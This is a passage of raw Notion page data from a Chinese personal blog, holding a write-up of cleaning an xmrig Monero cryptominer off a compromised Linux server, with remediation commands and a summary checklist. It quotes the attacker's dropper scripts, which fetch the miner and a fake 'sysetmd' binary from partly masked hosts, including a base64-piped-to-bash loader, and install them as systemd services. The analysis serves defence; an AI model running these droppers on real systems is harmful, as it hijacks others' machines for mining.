xmrig"]],"language":[["Bash"]]},"format":{"code_wrap":false},"created_time":1710854103480,"last_edited_time":1710854623530,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"513bf277-14f2-40df-9fe5-5d5e66266ad1":{"value":{"id":"513bf277-14f2-40df-9fe5-5d5e66266ad1","type":"text","properties":{"title":[["不出意外的话,5分钟后xmrig又被拉起来了,现在我们知道他有守护程序了。"]]},"created_time":1710854163131,"last_edited_time":1710854425767,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"f1b00174-0fc2-4c92-aa89-1240ab7a2880":{"value":{"id":"f1b00174-0fc2-4c92-aa89-1240ab7a2880","type":"code","properties":{"title":[["#查询服务器网络链接,看起来可疑ip记录下pid\nnetstat -tunap \n#看看所有的程序\nps aux\n#以上两个步骤我基本确定下面这个pid很可疑,在看下文件创建时间,与xmrig创建时间一致\n/opt/sysetmd 9x25 481.x1.x1.4x\n#依然看看关联文件->没收获\nll /proc/{pid}/fd \n#再kill掉\nkill -9 {pid}\n#删除文件sysetmd相关\nrm -rf {xxxx}\n#再去找自启动服务 这个确实找到了\nsystemctl list-units --type=service | grep sysetmd"]],"language":[["Bash"]]},"format":{"code_wrap":false},"created_time":1710854428765,"last_edited_time":1710855194033,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"f61d0519-01a1-478e-80c7-35c9118bc24d":{"value":{"id":"f61d0519-01a1-478e-80c7-35c9118bc24d","type":"image","properties":{"size":[["120.7KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3f5c325a-22bb-4012-a104-25e90a12e09a/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3f5c325a-22bb-4012-a104-25e90a12e09a/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.31000654022236757,"block_preserve_scale":true},"created_time":1710855117718,"last_edited_time":1710855123273,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"file_ids":["3f5c325a-22bb-4012-a104-25e90a12e09a"]}},"a3b1ea8c-90a3-4b28-9cf6-fb8f2bb9bdbc":{"value":{"id":"a3b1ea8c-90a3-4b28-9cf6-fb8f2bb9bdbc","type":"code","properties":{"title":[["#直接给他停掉\nsystemctl stop sysetmd.service\nsystemctl disable sysetmd.service\nrm -f /etc/systemd/system/sysetmd.service"]],"language":[["Bash"]]},"format":{"code_wrap":false},"created_time":1710855127688,"last_edited_time":1710855176774,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"dfa778c0-22eb-460f-91da-4c9e89100d07":{"value":{"id":"dfa778c0-22eb-460f-91da-4c9e89100d07","type":"text","properties":{"title":[["额外收获,发现/etc/systemd/system下有个自启动的service名字和创建时间很可疑"]]},"format":{"copied_from_pointer":{"id":"bc90f652-c084-4885-8571-e07c2b2a5073","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710855204178,"last_edited_time":1710855315886,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"8706dcce-a26a-4928-a907-a8d5f6dbad7e":{"value":{"id":"8706dcce-a26a-4928-a907-a8d5f6dbad7e","type":"image","properties":{"size":[["377.0KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/6b0d8552-ec02-4293-ac41-5d0ecdf1f1ca/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/6b0d8552-ec02-4293-ac41-5d0ecdf1f1ca/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.6695402298850575,"block_preserve_scale":true},"created_time":1710855297999,"last_edited_time":1710855302836,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"file_ids":["6b0d8552-ec02-4293-ac41-5d0ecdf1f1ca"]}},"b51cfb34-025c-4e9b-a604-99d4b02e9fc5":{"value":{"id":"b51cfb34-025c-4e9b-a604-99d4b02e9fc5","type":"code","properties":{"title":[["#cat查看下\ncat monero.service\n\n#文件内容如下,发现xmrig就是这个拉起来的\n[Unit]\nDescription=Monero miner service node\n\n[Service]\nExecStart=/root/xmrig-6.21.1/xmrig --donate-level 1 -o xxxxxxx\nRestart=always\n\n[Install]\n\n#直接给他停掉\nsystemctl stop monero.service\nsystemctl disable monero.service\nrm /etc/systemd/system/monero.service\n\n#然后持续观察以下内容\nps aux \ntop -c\nnetstat -tunap "]],"language":[["Bash"]]},"format":{"code_wrap":false},"created_time":1710855321955,"last_edited_time":1710855493722,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"cf3a69ec-dc8f-4808-8034-89fe5bd29d14":{"value":{"id":"cf3a69ec-dc8f-4808-8034-89fe5bd29d14","type":"text","properties":{"title":[["最后防止还有其他守护程序被拉起来,再看看对应时间点有哪些文件增加"]]},"format":{"copied_from_pointer":{"id":"bc90f652-c084-4885-8571-e07c2b2a5073","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710855310476,"last_edited_time":1710855543002,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"0e833496-a19a-41a7-b6a0-78d848bf1754":{"value":{"id":"0e833496-a19a-41a7-b6a0-78d848bf1754","type":"code","properties":{"title":[["#查找某个时间段的文件\n#忽略/proc文件夹\nfind / -type d \\( -path /proc -o -path /var/lib/docker -o -path /mnt/www/docker -o -path /usr/local/aegis \\) -prune -o -type f -newermt \"2024-03-18 00:00:00\" ! -newermt \"2024-03-19 00:00:00\" -print"]],"language":[["Bash"]]},"format":{"code_wrap":false},"created_time":1710855546376,"last_edited_time":1710855606043,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"723a182a-626b-4c3a-a918-e190ff211798":{"value":{"id":"723a182a-626b-4c3a-a918-e190ff211798","type":"image","properties":{"size":[["84.2KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/a078109a-f42d-4a2b-8f84-8a810cf1fead/Untitled.png"]]},"format":{"block_width":920,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/a078109a-f42d-4a2b-8f84-8a810cf1fead/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.2826086956521739,"block_preserve_scale":true},"created_time":1710855673964,"last_edited_time":1710855679321,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"file_ids":["a078109a-f42d-4a2b-8f84-8a810cf1fead"]}},"1ee5667c-9025-478c-9b94-0303a98f4067":{"value":{"id":"1ee5667c-9025-478c-9b94-0303a98f4067","type":"code","properties":{"title":[["#找到wawa.sh和update_udp.sh很可疑\n\n#wawa.sh如下\ncd /root;\nwget http://1187xxxxxom/xmrig-6.21.1-linux-static-x64.tar.gz;\ntar -zxvf xmrig-6.21.1-linux-static-x64.tar.gz;\nsystemctl stop monero.service;\nrm -rf /etc/systemd/system/monero.service;\nwget http://xxxxon/monero.service;\nsysctl -w vm.nr_hugepages=$((1168+$(nproc)));\nmv monero.service /etc/systemd/system/monero.service;\nsystemctl daemon-reload;\nsystemctl enable monero.service;\nsystemctl start monero.service\n\n#update_udp.sh如下\necho \"xxxx==base64encodeexxxxxx\"|base64 -di|bash -s\n#base64解谜如下\ncurl -s http:/x7/libhv.so -o /opt/libhv.so;\ncp /opt/libhv.so /usr/lib/libhv.so;\ncp /opt/libhv.so /usr/lib64/libhv.so;\ncurl -s http://bpxysetmd -o /opt/sysetmd;\nchmod 777 /opt/sysetmd;\ncurl -s http://bpgx27/sysetmd.service -o /etc/systemd/system/sysetmd.service;systemctl daemon-reload;\nsystemctl enable sysetmd.service;\nsystemctl start sysetmd.service;"]],"language":[["Bash"]]},"format":{"code_wrap":false},"created_time":1710855687497,"last_edited_time":1710855822956,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"af73c0b0-fefa-4be8-908d-9f53434e90f1":{"value":{"id":"af73c0b0-fefa-4be8-908d-9f53434e90f1","type":"text","properties":{"title":[["发现和我清除的一致,再持续观察一段时间,还有这个人是真的蠢,为什么部署sh还要留下"]]},"format":{"copied_from_pointer":{"id":"bc90f652-c084-4885-8571-e07c2b2a5073","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710855825239,"last_edited_time":1710855868497,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"26d7cf25-e010-42fc-a17a-f41bf5810199":{"value":{"id":"26d7cf25-e010-42fc-a17a-f41bf5810199","type":"header","properties":{"title":[["总结"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769932,"last_edited_time":1710853769932,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"6ad39ada-a5ba-4717-b358-d1d013de7f01":{"value":{"id":"6ad39ada-a5ba-4717-b358-d1d013de7f01","type":"bulleted_list","properties":{"title":[["找被黑时间左右的所有文件一个一个排查"]]},"created_time":1710855982697,"last_edited_time":1710856009153,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"6da1726b-3b01-4477-9f83-9c21240b1f03":{"value":{"id":"6da1726b-3b01-4477-9f83-9c21240b1f03","type":"bulleted_list","properties":{"title":[["找文件关联pid"]]},"format":{"copied_from_pointer":{"id":"329c1926-8152-47e6-ab18-8817f4ee4d09","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769932,"last_edited_time":1710856010525,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"copied_from":"329c1926-8152-47e6-ab18-8817f4ee4d09"}},"c5b1e0c0-edb3-45bc-90d2-5fc97aadef92":{"value":{"id":"c5b1e0c0-edb3-45bc-90d2-5fc97aadef92","type":"bulleted_list","properties":{"title":[["找pid关联fd,端口,ip等"]]},"created_time":1710855892374,"last_edited_time":1710856017679,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"ac2e2b33-c939-4e51-b645-a75d92cefce2":{"value":{"id":"ac2e2b33-c939-4e51-b645-a75d92cefce2","type":"bulleted_list","properties":{"title":[["找相关service,排查异常servcie,定时任务全部停止"]]},"created_time":1710855917952,"last_edited_time":1710856113350,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"bf3c5b4c-2a2e-4940-8141-00e72adb8cd3":{"value":{"id":"bf3c5b4c-2a2e-4940-8141-00e72adb8cd3","type":"bulleted_list","properties":{"title":[["持续观察cpu,网络等信息"]]},"created_time":1710855929613,"last_edited_time":1710856053608,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true}},"9213b777-2c2f-4959-89fe-83076a290465":{"value":{"id":"9213b777-2c2f-4959-89fe-83076a290465","type":"header","properties":{"title":[["写到最后"]]},"format":{"copied_from_pointer":{"id":"5cde9219-8710-4037-9848-8a1f37dc9ff6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769933,"last_edited_time":1710853769933,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"copied_from":"5cde9219-8710-4037-9848-8a1f37dc9ff6"}},"1f2fa689-6444-408e-8982-d97876cbaca9":{"value":{"id":"1f2fa689-6444-408e-8982-d97876cbaca9","type":"column_list","content":["c7184f46-708d-4e2a-842e-86e0110aece0","27670dd3-1c08-417c-8df9-ee69095a647e","7759e27d-6555-4cf4-af7c-92289e6b2a6f"],"format":{"copied_from_pointer":{"id":"60dbcaaf-f103-4bb0-9be1-817671709d79","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769933,"last_edited_time":1710853769933,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"copied_from":"60dbcaaf-f103-4bb0-9be1-817671709d79"}},"8a913cee-ee89-46cd-a83e-a3f02655f038":{"value":{"id":"8a913cee-ee89-46cd-a83e-a3f02655f038","type":"text","format":{"copied_from_pointer":{"id":"d23c967c-579a-4a00-81be-5b5255a47a8a","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769934,"last_edited_time":1710853769934,"parent_id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","parent_table":"block","alive":true,"copied_from":"d23c967c-579a-4a00-81be-5b5255a47a8a"}},"c7184f46-708d-4e2a-842e-86e0110aece0":{"value":{"id":"c7184f46-708d-4e2a-842e-86e0110aece0","type":"column","content":["68a0b662-e72a-470b-95d5-c904c3908fa2"],"format":{"column_ratio":0.25,"copied_from_pointer":{"id":"235500f7-fd62-4fe9-b6d2-b67bac3f464d","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769934,"last_edited_time":1710853769934,"parent_id":"1f2fa689-6444-408e-8982-d97876cbaca9","parent_table":"block","alive":true,"copied_from":"235500f7-fd62-4fe9-b6d2-b67bac3f464d"}},"27670dd3-1c08-417c-8df9-ee69095a647e":{"value":{"id":"27670dd3-1c08-417c-8df9-ee69095a647e","type":"column","content":["e6f04189-03e8-4eb7-8d83-f52461442c69","8800522e-0ef9-40b9-a37c-26e5267758ab"],"format":{"column_ratio":0.34601449275362306,"copied_from_pointer":{"id":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769934,"last_edited_time":1710853769934,"parent_id":"1f2fa689-6444-408e-8982-d97876cbaca9","parent_table":"block","alive":true,"copied_from":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0"}},"7759e27d-6555-4cf4-af7c-92289e6b2a6f":{"value":{"id":"7759e27d-6555-4cf4-af7c-92289e6b2a6f","type":"column","content":["1b7f549f-8224-432d-bb0f-63cab60c829e"],"format":{"column_ratio":0.4039855072463767,"copied_from_pointer":{"id":"2db937b6-5aae-440c-a285-8be50e3b5e55","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769934,"last_edited_time":1710853769934,"parent_id":"1f2fa689-6444-408e-8982-d97876cbaca9","parent_table":"block","alive":true,"copied_from":"2db937b6-5aae-440c-a285-8be50e3b5e55"}},"68a0b662-e72a-470b-95d5-c904c3908fa2":{"value":{"id":"68a0b662-e72a-470b-95d5-c904c3908fa2","type":"image","properties":{"size":[["980.0KB"]],"title":[["favicon.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png"]]},"format":{"block_width":144,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":1,"copied_from_pointer":{"id":"97938c4a-3571-4bef-b055-178812ea72c6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1710853769935,"last_edited_time":1710853769935,"parent_id":"c7184f46-708d-4e2a-842e-86e0110aece0","parent_table":"block","alive":true,"copied_from":"97938c4a-3571-4bef-b055-178812ea72c6","file_ids":["e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7"]}},"e6f04189-03e8-4eb7-8d83-f52461442c69":{"value":{"id":"e6f04189-03e8-4eb7-8d83-f52461442c69","type":"text","properties":{"title":[["\n",[["i"]]],[" 是在往前走就好",[["i"],["b"]]],["\n ",[["i"]]],["bothsavage.github.io",[["a","https://bothsavage.github.io/archive"],["i"]]],["\n",[["i"]]]]},"format":{"copied_from_pointer":{"id":"01338c9e-9395-42fa-858b-73431aab37fa","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769934,"last_edited_time":1710853769934,"parent_id":"27670dd3-1c08-417c-8df9-ee69095a647e","parent_table":"block","alive":true,"copied_from":"01338c9e-9395-42fa-858b-73431aab37fa"}},"8800522e-0ef9-40b9-a37c-26e5267758ab":{"value":{"id":"8800522e-0ef9-40b9-a37c-26e5267758ab","type":"text","format":{"copied_from_pointer":{"id":"5e9529ea-6019-4fc2-84b6-796d696ac4fd","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710853769935,"last_edited_time":1710853769935,"parent_id":"27670dd3-1c08-417c-8df9-ee69095a647e","parent_table":"block","alive":true,"copied_from":"5e9529ea-6019-4fc2-84b6-796d696ac4fd"}},"1b7f549f-8224-432d-bb0f-63cab60c829e":{"value":{"id":"1b7f549f-8224-432d-bb0f-63cab60c829e","type":"image","properties":{"size":[["85.8KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png"]]},"format":{"block_width":288,"block_height":315,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.525,"copied_from_pointer":{"id":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1710853769935,"last_edited_time":1710853769935,"parent_id":"7759e27d-6555-4cf4-af7c-92289e6b2a6f","parent_table":"block","alive":true,"copied_from":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","file_ids":["3436ffe0-3684-445a-824f-2fd9fa5ad2a6"]}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":22,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"},{"id":"c466d345-55bf-4155-a77e-fcd58819a455","color":"brown","value":"准备"},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","color":"green","value":"万里长征"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","color":"gray","value":"运维"},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","color":"orange","value":"linux"},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","color":"orange","value":"脚本"},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","color":"yellow","value":"面试"},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","color":"gray","value":"go"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1","fbea6284-6910-456b-9292-c62e080c9f59"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{"eb3e1328-8f32-4ff5-8d18-8ea80020e175":{"role":"none"}},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":53,"type":"table","name":"Table","format":{"table_properties":[{"width":295,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","33fa284f-0c06-4f26-9ca3-be25469051c4","e267a30e-29c7-47df-8dc2-cbba50b01443","5bc86ceb-2501-4ba3-a7f9-588407e6d47a","154f5010-17f2-8079-beb8-c6a44f0aa69c","153f5010-17f2-8037-8e89-ecfcb9d24a89","b7f50367-a6df-4492-a459-4baef5b1e4c3","a741252c-e46b-4342-998c-58ebc362fc0d","df1cfd49-4665-4429-a601-d6e8d57f2a50","6f317036-a205-45d7-98ce-c95a34ca3000","2187a0b2-05d0-4661-906d-3f47acc5b022","023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","ac8b0aec-6e91-49e0-b6c0-806e97729436","fdb70c2f-29b1-4635-bb36-fc826bad8fbd","2caa6a98-fd82-4de7-838f-e08dfe6649ab","146219e7-c178-4485-b223-22f4b977333c","71879fde-4992-4276-9767-ac5bd71e4058","9a78ba09-76ce-4344-bad5-f6d60dc0680e","63830328-e0f0-477a-b327-bc4ab921f89c","4d955058-b605-46cf-b242-1535b732af30","9a11ddf0-58ae-4450-8583-5ba3e2108e0a","1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","3505b511-076b-47a7-aa1a-95e702c54e6b","463a3c80-4e43-42d9-b436-1299d00df6b2","11d73154-336e-4e5a-8e92-8a8b36b2bc92","df0db62b-d0ed-47f0-b5be-445bfef1f6af","3fb907b8-6154-452a-94f7-a018ba092632","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899